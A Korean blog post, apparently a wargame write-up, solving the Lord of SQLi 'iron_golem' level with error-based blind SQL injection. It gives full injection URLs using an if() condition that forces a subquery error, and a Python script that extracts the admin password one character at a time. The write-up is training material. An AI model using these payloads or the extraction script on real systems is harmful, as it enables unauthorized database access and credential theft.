cgy12306

[LOS] iron_golem 본문

Wargame/LOS

[LOS] iron_golem

cgy12306 2019. 9. 7. 12:40


sleep과 benchmark가 필터링 돼 있어서 time based sql injection은 힘들것 같다.

소스코드에 sql 에러가 발생하면 에러를 뿜고 exit한다.

참, 거짓에 대한 사항은 저번처럼 hello admin으로 하지 않고 에러를 기반으로 참, 거짓을 판단한다.

그러면 if문을 통해 참일 때는 화면이 그대로 출력되고 거짓일 때 에러를 뿜는 화면이 나올 것이다.

select 1 union select 2를 입력하게 되면 아래와 같은 화면이 뜬다.


이 쿼리는 1과 2를 두 행에 걸쳐서 출력을 하게 되는데 두 행에 특정한 값이 있어야 뜬다.

하지만 해당 테이블에는 admin이라는 값 밖에 없어 저런 에러를 뿜는 듯하다.

이를 이용해서 패스워드 길이를 체크하는 문장을 작성해보자.

if문의 사용법은 if(조건문, 참, 거짓)이다. 조건문이 참일 경우 참에 들어간 값을 반환하고, 거짓일 경우 거짓에 들어간 값을 반환해준다.

패스워드 길이가 0보다 크면 참을 반환하고, 0보다 작을 경우 select 1 union select 2를 실행하게 된다.


https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=' or id='admin' and if(length(pw)>0,1,(select 1 union select 2))%23%20

패스워드 길이는 무조건 0글자 이상이기 때문에 화면이 그대로 출력한다.

https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=' or id='admin' and if(length(pw)<0,1,(select 1 union select 2))%23%20

패스워드 길이가 0보다 작을 때 에러를 뿜는다. 




https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=' or id='admin' and if(length(pw)=16,1,(select 1 union select 2))%23%20

패스워드 길이는 16글자라고 뜬다

이제 패스워드를 알아내는 코드를 작성해보자.

import requests

arry=[]

cookies = {'__cfduid': '', 'PHPSESSID' : ''}
    
for k in range(1,17):
    for j in range(0,0x10ffff):
        res = requests.get(url="https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=' or id='admin' and if(ord(substr(pw,"+str(k)+",1))="+str(j)+",1,(select 1 union select 2))%23%20",cookies=cookies)
        
        if not 'Subquery' in res.text:
            print(k,' : ', j, "O")
                
            arry.append(chr(j))


            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)



5번째 글자부터는 null 값이라 0에서 참이 뜬다. 


최종 패스워드는 !!!!이다.

https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=!!!!



'Wargame > LOS' 카테고리의 다른 글

[LOS] hell_fire, evil_wizard  (0) 2019.09.08
[LOS] dark_eyes  (0) 2019.09.08
[LOS] dragon  (0) 2019.09.07
[LOS] xavis  (0) 2019.09.07
[LOS] nightmare  (0) 2019.08.30
Comments